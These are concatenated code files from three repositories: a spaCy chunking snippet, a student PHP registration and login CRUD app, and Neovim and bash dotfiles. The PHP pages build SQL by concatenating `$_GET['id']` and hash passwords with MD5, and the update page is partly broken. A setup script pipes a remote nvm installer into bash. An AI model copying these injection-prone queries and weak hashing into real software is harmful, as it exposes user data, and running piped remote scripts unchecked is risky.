mosquitocidal Bacillus thuringiensis JJ NN - Bacillus thuringiensis NN - thuringiensis This function will ignore the shorter overlaps and return the longer. Not ideal but it gets the job done on this specific case. Arguments: doc: Document An annotated spacy document pattern: Dict A matcher pattern dictionary Returns: List[Span] The list matching chunks """ matcher = Matcher(nlp.vocab) matcher.add("CHUNKS", None, pattern) matches = matcher(doc) chunk_spans = list() for (i, (match_id, start, end)) in enumerate(matches): span = doc[start:end] chunk_spans.append(span) longest_spans = filter_spans(chunk_spans) return longest_spans def pretty_print_chunks(chunk_spans: List[Span]): """ Just a quick way to do a formatted print on a list of spacy Spans Arguments: chunk_spans: List[Span] A list of chunk spans """ print(' CHUNK POS TAGS | CHUNK TEXT') for (i, span) in enumerate(chunk_spans): pos_tags = ' '.join(t.tag_ for t in span) print(f'{i+1:>4} {pos_tags:>15} | {span.text}') # The pattern definitions and results # Creating the dictionary containing the `<DT>?<JJ.*>*<NN.*>+` pattern and # filtering the annotated document for matching chunks. pattern = [ {"TAG": "DT", "OP": "?"}, # <DT>? {"TAG": {"REGEX": "JJ.*"}, "OP": "*"}, # <JJ.*>* {"TAG": {"REGEX": "NN.*"}, "OP": "+"} # <NN.*>+ ] chunk_spans = get_matched_pos_chunks(doc, pattern) pretty_print_chunks(chunk_spans) <file_sep>#!/bin/sh pip install scispacy # Downloading the core pipeline pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_core_sci_sm-0.3.0.tar.gz' # Downloading the NER models pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_craft_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_jnlpba_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_bc5cdr_md-0.3.0.tar.gz' pip install 'https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_ner_bionlp13cg_md-0.3.0.tar.gz' <file_sep>blis==0.4.1 catalogue==1.0.0 certifi==2020.6.20 chardet==3.0.4 cymem==2.0.3 en-core-sci-sm @ https://s3-us-west-2.amazonaws.com/ai2-s2-scispacy/releases/v0.3.0/en_core_sci_sm-0.3.0.tar.gz idna==2.10 joblib==0.17.0 murmurhash==1.0.2 nmslib==2.0.6 numpy==1.19.2 plac==1.1.3 preshed==3.0.2 psutil==5.7.2 pybind11==2.5.0 pysbd==0.3.3 requests==2.24.0 scikit-learn==0.23.2 scipy==1.5.3 scispacy==0.3.0 spacy==2.3.2 srsly==1.0.2 thinc==7.4.1 threadpoolctl==2.1.0 tqdm==4.50.2 urllib3==1.25.11 wasabi==0.8.0 <file_sep>certifi==2020.6.20 chardet==3.0.4 click==7.1.2 future==0.18.2 idna==2.10 joblib==0.17.0 nltk==3.5 numpy==1.19.2 protobuf==3.13.0 regex==2020.10.15 requests==2.24.0 six==1.15.0 stanza==1.1.1 torch==1.6.0 tqdm==4.50.2 urllib3==1.25.11
d470c6be11c0cfaaeea45a7360a506e7efe3c37b
[ "Markdown", "Python", "Text", "Shell" ]
7
Python
daniloBlera/biomed-parsers-intro
af252590b419a379ee613cfe59cca343b45a5329
463506af823796abb9d959bbfd62f791a6a156bb
refs/heads/main
<file_sep><head> <meta charset ="utf-8" /> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" /> </head> <?php # This process inserts a record. There is no display. # This process inserts a NEW USER into mes_person table # 1. connect to database require '../database/projectDatabase.php'; $pdo = Database::connect(); # 2. assign username / password info to variables $role = $_POST['role']; $fname = $_POST['fname']; $lname = $_POST['lname']; $email = $_POST['email']; $phone = $_POST['phone']; $address = $_POST['address']; $address2 = $_POST['address2']; $city = $_POST['city']; $state = $_POST['state']; $password = $_POST['<PASSWORD>']; $zip_code = $_POST['zip_code']; $role = htmlspecialchars($role); $fname = htmlspecialchars($fname); $lname = htmlspecialchars($lname); $email = htmlspecialchars($email); $phone = htmlspecialchars($phone); $password = htmlspecialchars($password); $password_salt = MD5(micro<PASSWORD>()); $password_hash = MD5($password . $password_salt); $address = htmlspecialchars($address); $address2 = htmlspecialchars($address2); $city = htmlspecialchars($city); $state = htmlspecialchars($state); $zip_code = htmlspecialchars($zip_code); // Check to make sure username is not there $sql = "SELECT id FROM persons WHERE email=?"; $query=$pdo->prepare($sql); $query->execute(Array($email)); $result = $query->fetch(PDO::FETCH_ASSOC); if($result) { echo "<p>Username $email already exists.</p><br>"; echo "<a href='register.php'>Back to REGISTER</a>"; } else { # 3. assign MySQL query code to a variable $sql = "INSERT INTO persons (role, fname, lname, email, phone, password_hash, password_salt, address, address2, city, state, zip_code) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; $query=$pdo->prepare($sql); $query->execute(Array("user",$fname,$lname, $email, $phone, $password_hash, $password_salt, $address, $address2, $city, $state, $zip_code)); # 4. insert the message into the database echo "<p>Your info has been added. You can now log in.</p><br>"; echo "<a href='login.php'>Back to LOGIN</a>"; } <file_sep><?php session_start(); if (!isset($_SESSION['email'])){ header("Location: login.php"); } echo "<h1>Create/add new message</h1>"; ?> <form method='post' action='insert_record.php'> message: <input name='msg' type='text' ><br /> <input type="submit" value="Submit"> </form><file_sep><?php session_start(); if (!isset($_SESSION['email'])){ header("Location: login.php"); } # connect require '../database/projectDatabase.php'; $pdo = Database::connect(); if($_POST) { $role = $_POST['role']; $fname = $_POST['fname']; $lname = $_POST['lname']; $email = $_POST['email']; $address = $_POST['address']; $address2 = $_POST['address2']; $city = $_POST['city']; $state = $_POST['state']; $zip_code = $_POST['zip_code']; $role = htmlspecialchars($role); $fname = htmlspecialchars($fname); $lname = htmlspecialchars($lname); $email = htmlspecialchars($email); $address = htmlspecialchars($address); $address2 = htmlspecialchars($address2); $city = htmlspecialchars($city); $state = htmlspecialchars($state); $zip_code = htmlspecialchars($zip_code); # put the information for the chosen record into variable $results $id = $_GET['id']; $sql = "SELECT id FROM persons WHERE email =? "; $query=$pdo->prepare($sql); $query->execute(Array($email)); $result=$query->fetch(PDO::FETCH_ASSOC); $sql = "SELECT email FROM persons WHERE id=?"; $query=$pdo->prepare($sql); $query->execute(Array($email)); $result = $query->fetch(PDO::FETCH_ASSOC); $email_check = $result2['email']; if($result != '' && ($email != $result2['email'])) { echo "<p> Email $email is already in use!</p><br>"; } //Email check gotten from: https://www.w3schools.com/php/php_form_url_email.asp elseif(!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo "<p>ERROR: Email is not formatted properly </p><br>"; } elseif($email == '') { echo "<p> Email field has been left empty!</p><br>"; } else { $_SESSION['update_post_array'] = $_POST; //ERROR: Trying to pass the id like this dosnt work header('Location: update_record.php?id= '. $id); } } $id = $_GET['id']; $sql = "SELECT * FROM persons WHERE id=" . $id; $query=$pdo->prepare($sql); $query->execute(); $result = $query->fetch(); } ?> <h1>Update existing message</h1> <form method='post' action='update_record.php?id=<?php echo $id ?>'> message: <input name='msg' type='text' value='<?php echo $result['message']; ?>' ><br /> <input type="submit" value="Submit"> </form><file_sep><?php session_start(); if (!isset($_SESSION['email'])){ header("Location: login.php"); } # connect require '../database/projectDatabase.php'; $pdo = Database::connect(); # put the information for the chosen record into variable $results $id = $_GET['id']; $sql = "SELECT * FROM persons WHERE id=" . $id; $query=$pdo->prepare($sql); $query->execute(); $result = $query->fetch(); ?> <h1>Read/view existing message</h1> <form method='post' action='display_list.php'> Role: <input name='role' type='text' value='<?php echo $result['role']; ?>' disabled><br><br> ID: <input name='id' type='text' value='<?php echo $result['id']; ?>' disabled><br><br> First Name: <input name='fname' type='text' value='<?php echo $result['fname']; ?>' disabled><br><br> Last Name: <input name='lname' type='text' value='<?php echo $result['lname']; ?>' disabled><br><br> Email: <input name='email' type='text' value='<?php echo $result['email']; ?>' disabled><br><br> Address: <input name='address' type='text' value='<?php echo $result['address']; ?>' disabled><br><br> Address2: <input name='address2' type='text' value='<?php echo $result['address2']; ?>' disabled><br><br> City: <input name='city' type='text' value='<?php echo $result['city']; ?>' disabled><br><br> State: <input name='state' type='text' value='<?php echo $result['state']; ?>' disabled><br><br> Zip Code: <input name='zip_code' type='text' value='<?php echo $result['zip_code']; ?>' disabled><br><br> <button class="btn btn-lg btn-primary" type="submit" name="list">Back to Display List</button> </form> <file_sep><?php // ini_set("display_errors", 1); // error_reporting(E_ALL); // error reporting(0); session_start(); $errMsg=''; // initialize message to display on HTML form if (isset($_POST['login']) && !empty($_POST['email']) && !empty($_POST['password'])) { echo "<p>hello</p>"; $_POST['email'] = htmlspecialchars($_POST['email']); $_POST['password'] = htmlspecialchars($_POST['password']); $email = $_POST['email']; # prevent HTML/CSS/JS injection // $_POST['username'] = htmlspecialchars($_POST['username']); // $_POST['password'] = htmlspecialchars($_POST['password']); # check "back door" login # check database for legit username require '../database/projectDatabase.php'; $pdo = Database::connect(); $sql = "SELECT password_salt FROM persons WHERE email=? "; $query=$pdo->prepare($sql); $query->execute(Array($email)); $result = $query->fetch(PDO::FETCH_ASSOC); $password_salt = $result ["password_<PASSWORD>"]; $password_hash = MD5($_POST['password'].$password_<PASSWORD>); $sql = "SELECT id, role, email, password_hash, password_salt FROM persons" . " WHERE email =? " . " AND password_hash =? " . " AND password_salt =? " . " LIMIT 1"; $query=$pdo->prepare($sql); $query->execute(Array($_POST['email'], $password_hash, $password_salt)); $result=$query->fetch(PDO::FETCH_ASSOC); ($result); # if user typed legit username, verify SALTED password if($result) { $_SESSION['email'] = $result['email']; $_SESSION['role'] = $result['role']; $_SESSION['id'] = $result['id']; header("Location: display_list.php"); } else { $errMsg="Login Failure: wrong username/password"; } } ?> <!DOCTYPE html> <html lang="en-US"> <head> <title>Crud Applet with Login</title> <meta charset="utf-8" /> <!-- <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" /> --> </head> <body> <div class="container"> <h1>Crud Applet with Login</h1> <h2>Login</h2> <form action="" method="post"> <input type="text" class="form-control" name="email" placeholder="<EMAIL>" required autofocus /><br /> <input type="password" class="form-control" name="password" placeholder="<PASSWORD>" required /><br /> <button class="btn btn-lg btn-primary btn-block" type="submit" name="login">Login</button> <button class="btn btn-lg btn-secondary btn-block" onclick="window.location.href = 'register.php';"; type="button" name="join">Join</button> <p style="color: red;"><?php echo $errMsg; ?></p> </form> </div> </body> </html>
567e4768119031c7f38b270a7a501347017b7af5
[ "PHP" ]
5
PHP
Chubomber/PersonsCrudapp
e4310c26ff32bb6da6c55c427c53210ec5c540a0
24998767076b9a99cdc1b0b960a4dc32927e08c4
refs/heads/master
<repo_name>mark-westerhof/dotfiles<file_sep>/nvim/lua/plugins/nvim-tree.lua vim.g.loaded = 1 vim.g.loaded_netrwPlugin = 1 local tree = require('nvim-tree') tree.setup({ update_focused_file = { enable = true } }) local treeInitialized = false local openForFiletypes = require('common-filetypes') local function hasValue (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end -- Uncomment to automatically open tree for select filetypes. -- vim.api.nvim_create_autocmd({'BufEnter', 'BufWinEnter'}, { -- callback = function() -- local ft = vim.bo.filetype -- if not treeInitialized and hasValue(openForFiletypes, ft) then -- tree.toggle(true, true) -- treeInitialized = true -- end -- end -- }) vim.api.nvim_set_keymap('n', '<Leader>t', ':NvimTreeToggle<CR>', { noremap = true, silent = true }) <file_sep>/nvim/lua/plugins/nvim-treesitter.lua require('nvim-treesitter.configs').setup { auto_install = true, ensure_installed = require('common-filetypes') } <file_sep>/nvim/lua/core/base.lua vim.opt.termguicolors = true --Remap leader vim.g.mapleader = ',' -- Tabs -> 2 spaces vim.opt.tabstop = 2 vim.opt.shiftwidth = 2 vim.opt.expandtab = true -- Turn on some features vim.opt.number = true vim.opt.spell = true vim.opt.ignorecase = true vim.opt.smartcase = true -- Turn off some features vim.opt.wrap = false vim.opt.hlsearch = false vim.opt.mouse = '' -- Stay in the same column while navigating up/down vim.opt.virtualedit = 'all' --Show trailing whitespace vim.opt.list = true vim.opt.listchars:append 'trail:·' vim.opt.listchars:append 'tab:»·' -- Exit insert mode vim.api.nvim_set_keymap('i', 'jk', '<Esc>', { noremap = true, silent = true }) -- Better split behaviour vim.opt.splitbelow = true vim.opt.splitright = true <file_sep>/nvim/lua/plugins/code-action-menu.lua vim.g.code_action_menu_window_border = 'single' vim.g.code_action_menu_show_details = false vim.g.code_action_menu_show_diff = false vim.g.code_action_menu_show_action_kind = false vim.api.nvim_set_keymap('', '<Leader>ca', "<cmd>CodeAction<CR>", {}) <file_sep>/link_up #!/usr/bin/env bash CHECKOUT_PATH="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" BASE_16_URI='https://github.com/chriskempson/base16-shell' # Remove old rm -rf base16-shell rm -rf ~/.fzf* rm -rf ~/.nvm rm -f ~/.config/nvim rm -rf ~/.local/share/nvim # Terminal Configuration ln -sf $CHECKOUT_PATH/alacritty.yml ~/.alacritty.yml # Base 16 Theming git clone $BASE_16_URI ln -sf $CHECKOUT_PATH/base16-shell/scripts ~/.base16_themes # Tmux Configuration ln -sf $CHECKOUT_PATH/tmux.conf ~/.tmux.conf # Bash Configuration if [ "$(uname)" == "Darwin" ]; then cp $CHECKOUT_PATH/bashrc_osx ~/.bashrc echo -e "\n. $CHECKOUT_PATH/bashrc" >> ~/.bashrc echo "[ -f $(brew --prefix)/etc/bash_completion ] && . $(brew --prefix)/etc/bash_completion" > ~/.bash_profile echo "[ -f "$HOME/.bashrc" ] && . $HOME/.bashrc" >> ~/.bash_profile ln -sf $CHECKOUT_PATH/tmux_osx.conf ~/.tmux_osx.conf else ln -sf $CHECKOUT_PATH/bashrc ~/.bashrc fi # FZF git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install --completion --key-bindings --no-update-rc --no-zsh --no-fish # NVM & Node curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/master/install.sh | bash source ~/.nvm/nvm.sh nvm install --lts # Vim Configuration mkdir -p ~/.config ln -sf $CHECKOUT_PATH/nvim ~/.config/nvim <file_sep>/nvim/lua/plugins/lualine.lua require('lualine').setup{ options = { theme = 'onedark', section_separators = '', component_separators = '', globalstatus = true, disabled_filetypes = { 'packer', 'fzf', 'NvimTree' } }, sections = { lualine_b = { 'diff', 'diagnostics' }, lualine_c = { { 'filename', path = 1 } } } } vim.opt.cmdheight = 0 <file_sep>/nvim/lua/plugins/bufferline.lua require('bufferline').setup{ options = { diagnostics = 'nvim_lsp', indicator = { style = 'none' }, offsets = { { filetype = 'NvimTree', text = 'Files', separator = true } } } } -- Customizations vim.cmd([[highlight! link BufferLineOffsetSeparator NvimTreeVertSplit]]) <file_sep>/nvim/lua/plugins/completion.lua vim.opt.completeopt = 'menu,menuone,noselect' local cmp = require('cmp') local luasnip = require('luasnip') local has_words_before = function() local line, col = unpack(vim.api.nvim_win_get_cursor(0)) return col ~= 0 and vim.api.nvim_buf_get_lines(0, line - 1, line, true)[1]:sub(col, col):match("%s") == nil end local cmp_kinds = { Text = ' ', Method = ' ', Function = ' ', Constructor = ' ', Field = ' ', Variable = ' ', Class = ' ', Interface = ' ', Module = ' ', Property = ' ', Unit = ' ', Value = ' ', Enum = ' ', Keyword = ' ', Snippet = ' ', Color = ' ', File = ' ', Reference = ' ', Folder = ' ', EnumMember = ' ', Constant = ' ', Struct = ' ', Event = ' ', Operator = ' ', TypeParameter = ' ', } cmp.setup({ formatting = { format = function(_, vim_item) vim_item.kind = (cmp_kinds[vim_item.kind] or '') .. vim_item.kind return vim_item end, }, snippet = { -- REQUIRED - you must specify a snippet engine expand = function(args) require('luasnip').lsp_expand(args.body) end, }, window = { -- completion = cmp.config.window.bordered(), -- documentation = cmp.config.window.bordered(), }, mapping = cmp.mapping.preset.insert({ ["<Tab>"] = cmp.mapping(function(fallback) if cmp.visible() then cmp.select_next_item() elseif luasnip.expand_or_jumpable() then luasnip.expand_or_jump() elseif has_words_before() then cmp.complete() else fallback() end end, { "i", "s" }), ["<S-Tab>"] = cmp.mapping(function(fallback) if cmp.visible() then cmp.select_prev_item() elseif luasnip.jumpable(-1) then luasnip.jump(-1) else fallback() end end, { "i", "s" }), ['<C-b>'] = cmp.mapping.scroll_docs(-4), ['<C-f>'] = cmp.mapping.scroll_docs(4), ['<C-Space>'] = cmp.mapping.complete(), ['<C-e>'] = cmp.mapping.abort(), ['<CR>'] = cmp.mapping.confirm({ select = true }), -- Accept currently selected item. Set `select` to `false` to only confirm explicitly selected items. }), sources = cmp.config.sources({ { name = 'nvim_lsp' }, { name = 'luasnip' } }, { { name = 'buffer' }, }) }) -- Set configuration for specific filetype. cmp.setup.filetype('gitcommit', { sources = cmp.config.sources({ { name = 'cmp_git' }, -- You can specify the `cmp_git` source if you were installed it. }, { { name = 'buffer' }, }) }) -- Use buffer source for `/` (if you enabled `native_menu`, this won't work anymore). cmp.setup.cmdline('/', { mapping = cmp.mapping.preset.cmdline(), sources = { { name = 'buffer' } } }) -- Use cmdline & path source for ':' (if you enabled `native_menu`, this won't work anymore). cmp.setup.cmdline(':', { mapping = cmp.mapping.preset.cmdline(), sources = cmp.config.sources({ { name = 'path' } }, { { name = 'cmdline' } }) }) local signs = { Error = "󰅚 ", Warning = " ", Hint = "󰌶 ", Information = " " } for type, icon in pairs(signs) do local hl = "DiagnosticSign" .. type vim.fn.sign_define(hl, { text = icon, texthl = hl, numhl = "" }) end local on_attach = function(client, bufnr) -- Mappings. -- See `:help vim.lsp.*` for documentation on any of the below functions local bufopts = { noremap=true, silent=true, buffer=bufnr } vim.keymap.set('n', '[g', vim.diagnostic.goto_prev, opts) vim.keymap.set('n', ']g', vim.diagnostic.goto_next, opts) vim.keymap.set('n', 'gD', vim.lsp.buf.declaration, bufopts) vim.keymap.set('n', 'gd', vim.lsp.buf.definition, bufopts) vim.keymap.set('n', 'K', vim.lsp.buf.hover, bufopts) vim.keymap.set('n', 'gi', vim.lsp.buf.implementation, bufopts) vim.keymap.set('n', '<C-k>', vim.lsp.buf.signature_help, bufopts) vim.keymap.set('n', '<Leader>rn', vim.lsp.buf.rename, bufopts) vim.keymap.set('n', 'gr', vim.lsp.buf.references, bufopts) end vim.api.nvim_set_keymap('n', '<Leader>fl', ':EslintFixAll<CR>', { noremap = true, silent = true }) local capabilities = require("cmp_nvim_lsp").default_capabilities() local servers = { 'tsserver', 'eslint', 'cssls', 'html', 'angularls' } for _, lsp in ipairs(servers) do require('lspconfig')[lsp].setup{ on_attach = on_attach, flags = { debounce_text_changes = 150, }, capabilities = capabilities } end require('luasnip.loaders.from_vscode').lazy_load() local lsp_notif = require('plugins.lsp-notification') local function format_title(title, client_name) return client_name .. (#title > 0 and ": " .. title or "") end local function format_message(message, percentage) return (percentage and percentage .. "%\t" or "") .. (message or "") end vim.lsp.handlers["$/progress"] = function(_, result, ctx) local client_id = ctx.client_id local val = result.value if not val.kind then return end local notif_data = lsp_notif.get_notif_data(client_id, result.token) if val.kind == "begin" then local message = format_message(val.message, val.percentage) notif_data.notification = vim.notify(message, "info", { title = format_title(val.title, vim.lsp.get_client_by_id(client_id).name), icon = lsp_notif.spinner_frames[1], timeout = false, hide_from_history = false, }) notif_data.spinner = 1 lsp_notif.update_spinner(client_id, result.token) elseif val.kind == "report" and notif_data then notif_data.notification = vim.notify(format_message(val.message, val.percentage), "info", { replace = notif_data.notification, hide_from_history = false, }) elseif val.kind == "end" and notif_data then notif_data.notification = vim.notify(val.message and format_message(val.message) or "Complete", "info", { icon = "", replace = notif_data.notification, timeout = 3000, }) notif_data.spinner = nil end end -- Debugging -- vim.lsp.set_log_level("debug") <file_sep>/bashrc # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac # Path [ -d "$HOME/bin" ] && PATH="$HOME/bin:$PATH" [ -d "$HOME/.local/bin" ] && PATH="$HOME/.local/bin:$PATH" # Theme if [ -z $BASE_16_THEME ]; then export BASE_16_THEME='onedark' shell_theme=$HOME/.base16_themes/base16-$BASE_16_THEME.sh if [ -f $shell_theme ]; then . $shell_theme fi fi # Editor editor='vim' if command -v nvim >/dev/null 2>&1; then editor='nvim' alias vim='nvim' fi export EDITOR=$editor # History export HISTSIZE=1000 export HISTCONTROL=erasedups # fzf [ -f "$HOME/.fzf.bash" ] && source $HOME/.fzf.bash export FZF_DEFAULT_COMMAND='rg --files' export FZF_CTRL_T_COMMAND="$FZF_DEFAULT_COMMAND" # Node/NPM if [ -f "$HOME/.nvm/nvm.sh" ]; then export NVM_DIR="$HOME/.nvm" source $NVM_DIR/nvm.sh if [ -f "$NVM_DIR/bash_completion" ]; then source $NVM_DIR/bash_completion fi if [ -f ".nvmrc" ]; then nvm use --silent fi fi # gpg-agent for SVN GPG_TTY=$(tty) export GPG_TTY # SSH/clipboard alias ssh-clip-support="ssh -o SendEnv=BASE_16_THEME -R 6788:localhost:22" alias remoteclip='ssh -p 6788 localhost pbcopy' alias sendbuffer='tmux show-buffer | remoteclip' function remotesend() { scp -P 6788 $1 localhost:~/Downloads } # FOS env export USESUDO=$(which sudo) [ -f "$HOME/fos_node_env" ] && source $HOME/fos_node_env # FOS aliases alias fgtdev-admin='fos-dev conf get fortigate_user | awk -F ": " "{print \$2}"' alias fgtdev-fgt='fos-dev conf get fortigate | awk -F ": " "{print \$2}"' alias fgtdev-port='fos-dev conf get ssh_port | awk -F ": " "{print \$2}"' alias sshfgt='ssh -p $(fgtdev-port) $(fgtdev-admin)@$(fgtdev-fgt)' # Development aliases alias create-fos-tags='git ls-files | grep -E "*\.(c|cpp|h)$" | grep -v -E "^linux-|^tools|^cooked|^tests" | ctags -R -L -' alias gerrit-review-push='git push origin HEAD:refs/for/$(git rev-parse --abbrev-ref HEAD)' # Install npm dev dependencie ANGULAR_VERSION=14 function install-npm-dev-deps() { npm_install_pkgs=( # Required for https://github.com/neovim/nvim-lspconfig/blob/master/doc/server_configurations.md#tsserver typescript typescript-language-server # Required for https://github.com/neovim/nvim-lspconfig/blob/master/doc/server_configurations.md#eslint and # https://github.com/neovim/nvim-lspconfig/blob/master/doc/server_configurations.md#cssls and # https://github.com/neovim/nvim-lspconfig/blob/master/doc/server_configurations.md#html vscode-langservers-extracted # Required for CLI utility and https://github.com/neovim/nvim-lspconfig/blob/master/doc/server_configurations.md#angularls @angular/cli@$ANGULAR_VERSION @angular/language-server@$ANGULAR_VERSION ) npm install -g "${npm_install_pkgs[@]}" } # Print 256 color map for reference function printcolors() { n=${1-16} for i in {0..255}; do printf "\e[48;05;%sm %-3s " $i $i if [[ $((($i + 1) % $n)) == 0 ]]; then printf "\n" fi done echo -e "\e[m" } # Development tmux helper function devsession() { directory=${1%/} (cd $directory && tmux new -s $directory) } # FOS development config helper function conf-fos-model() { ./Configure -m $1 -dy -v $(git rev-parse --abbrev-ref HEAD) } # Source code indexing function create-cscope-db() { rm -f cscope.* cscope -R -b -q -k } <file_sep>/nvim/lua/core/mappings.lua -- Window navigation vim.api.nvim_set_keymap('n', '<C-h>', ':wincmd h<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '<C-j>', ':wincmd j<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '<C-k>', ':wincmd k<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '<C-l>', ':wincmd l<CR>', { noremap = true, silent = true }) -- Buffer navigation vim.api.nvim_set_keymap('n', 'fg', ':bf<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', 'fj', ':bn<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', 'fk', ':bp<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', 'fl', ':bl<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', 'fd', ':bp<bar>sp<bar>bn<bar>bd<CR>', { noremap = true, silent = true }) -- Window shortcuts vim.api.nvim_set_keymap('n', '<Leader>o', ':only<CR>', { noremap = true, silent = true }) -- Quickfix shortcuts vim.api.nvim_set_keymap('n', ']q', ':cnext<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '[q', ':cprev<CR>', { noremap = true, silent = true }) -- Copy pasting between vim instances and remote clipboard vim.api.nvim_set_keymap('v', '<Leader>y', ':w! /tmp/vim_clipboard<CR>', {noremap = true, silent = true}) vim.api.nvim_set_keymap('v', '<Leader>r', ':w! !ssh -p 6788 localhost pbcopy<CR><CMD>lua vim.notify("Text copied to remote clipboard")<CR>', {noremap = true, silent = true}) vim.api.nvim_set_keymap('n', '<Leader>p', ':r! cat /tmp/vim_clipboard<CR>', {noremap = true, silent = true}) -- Find and replace selected vim.api.nvim_set_keymap('v', '<C-r>', '"hy:.,$s/<C-r>h//g<left><left>', {noremap = true, silent = true}) vim.api.nvim_set_keymap('v', '<C-s>', '"hy:.,$s/<C-r>h//gc<left><left><left>', {noremap = true, silent = true}) <file_sep>/nvim/lua/common-filetypes.lua -- Filetypes that I commonly work with. local filetypes = { 'bash', 'c', 'css', 'html', 'javascript', 'json', 'lua', 'scss', 'typescript', } return filetypes <file_sep>/nvim/lua/plugins/gitsigns.lua vim.opt.signcolumn = 'yes' require('gitsigns').setup({ current_line_blame = true }) <file_sep>/nvim/lua/plugins/onedark.lua require('onedark').setup { highlights = { TelescopeBorder = {fg = '$grey'}, TelescopePromptBorder = {fg = '$grey'}, TelescopeResultsBorder = {fg = '$grey'}, TelescopePreviewBorder = {fg = '$grey'}, DashboardHeader = {fg = '$light_grey'}, DashboardCenter = {fg = '$light_grey'}, DashboardShortCut = {fg = '$grey'} } } require('onedark').load() vim.cmd('colorscheme onedark') <file_sep>/nvim/lua/plugins/lsp-notification.lua -- Utility functions shared between progress reports for LSP. local module = {} local client_notifs = {} module.spinner_frames = { "⣾", "⣽", "⣻", "⢿", "⡿", "⣟", "⣯", "⣷" } function module.get_notif_data(client_id, token) if not client_notifs[client_id] then client_notifs[client_id] = {} end if not client_notifs[client_id][token] then client_notifs[client_id][token] = {} end return client_notifs[client_id][token] end function module.update_spinner(client_id, token) local notif_data = module.get_notif_data(client_id, token) if notif_data.spinner then local new_spinner = (notif_data.spinner + 1) % #module.spinner_frames notif_data.spinner = new_spinner notif_data.notification = vim.notify(nil, nil, { hide_from_history = true, icon = module.spinner_frames[new_spinner], replace = notif_data.notification, }) vim.defer_fn(function() module.update_spinner(client_id, token) end, 100) end end function module.clear_notif_data() client_notifs = {} end return module; <file_sep>/nvim/lua/plugins/hop.lua require('hop').setup({ quit_key = '<SPC>' }) vim.api.nvim_set_keymap('', '<Leader>w', "<cmd>lua require'hop'.hint_words({ direction = require'hop.hint'.HintDirection.AFTER_CURSOR})<CR>", {}) vim.api.nvim_set_keymap('', '<Leader>b', "<cmd>lua require'hop'.hint_words({ direction = require'hop.hint'.HintDirection.BEFORE_CURSOR})<CR>", {}) vim.api.nvim_set_keymap('', '<Leader>l', "<cmd>lua require'hop'.hint_words({ direction = require'hop.hint'.HintDirection.AFTER_CURSOR, current_line_only = true})<CR>", {}) <file_sep>/nvim/lua/plugins/nvim-notify.lua local notify = require('notify') local lsp_notif = require('plugins.lsp-notification') vim.notify = notify function dismiss_all_notifications() lsp_notif.clear_notif_data() notify.dismiss() end vim.api.nvim_set_keymap('n', '<Leader>x', '<cmd>lua dismiss_all_notifications()<CR>', { noremap = true, silent = true }) <file_sep>/nvim/lua/plugins/fzf.lua local actions = require('fzf-lua.actions') require('fzf-lua').setup{ actions = { files = { ['default'] = actions.file_edit_or_qf, ['ctrl-o'] = actions.file_edit } }, winopts = { hl = { border = 'LineNR', }, height = 0.9, width = 0.9, preview = { layout = 'vertical' } }, fzf_colors = { ['fg'] = { 'fg', 'Normal' }, ['fg+'] = { 'fg', 'CursorLine' }, ['hl'] = { 'fg', 'Comment' }, ['hl+'] = { 'fg', 'Conditional' }, ['bg'] = { 'bg', 'Normal' }, ['bg+'] = { 'bg', 'Normal' }, ['info'] = { 'fg', 'Normal' }, ['prompt'] = { 'fg', 'Normal' }, ['pointer'] = { 'fg', 'Conditional' }, ['marker'] = { 'fg', 'Conditional' }, ['spinner'] = { 'fg', 'Conditional' }, ['header'] = { 'fg', 'Normal' }, ['gutter'] = { 'bg', 'Normal' }, } } vim.api.nvim_set_keymap('n', '<Space>p', ':lua require("fzf-lua").files({ fzf_opts = {["--keep-right"] = ""} })<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '<Space>d', ':lua require("fzf-lua").files({ cwd = vim.fn.expand("%:p:h"), fzf_opts = {["--keep-right"] = ""} })<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('n', '<space>g', ':lua require("fzf-lua").live_grep({ cmd = "git grep --line-number --column --color=always" })<CR>', { noremap = true, silent = true }) vim.api.nvim_set_keymap('v', '<C-g>', '"hy:lua require("fzf-lua").live_grep({ cmd = "git grep --line-number --column --color=always", search = vim.fn.getreg("h") })<CR>', { noremap = true, silent = true }) <file_sep>/nvim/init.lua require('packer-init') require('core.base') require('core.mappings') require('plugins.nvim-treesitter') require('plugins.onedark') require('plugins.lualine') require('plugins.bufferline') require('plugins.nvim-tree') require('plugins.gitsigns') require('plugins.indent-blankline') require('plugins.nvim-notify') require('plugins.fzf') require('plugins.hop') require('plugins.fugitive') require('plugins.nvim-tmux-navigation') require('plugins.nvim-comment') require('plugins.nvim-surround') require('plugins.nvim-autopairs') require('plugins.code-action-menu') require('plugins.completion')
07ee6e2d83e8b2d269c9037ef462a15d1abfa567
[ "Shell", "Lua" ]
18
Lua
mark-westerhof/dotfiles
6b57a6c9790bf1b1ebc9ca772d3cd3efc8ed28b8
1c972afb6f0d61395a74f6e318dff11368699761
refs/heads/master
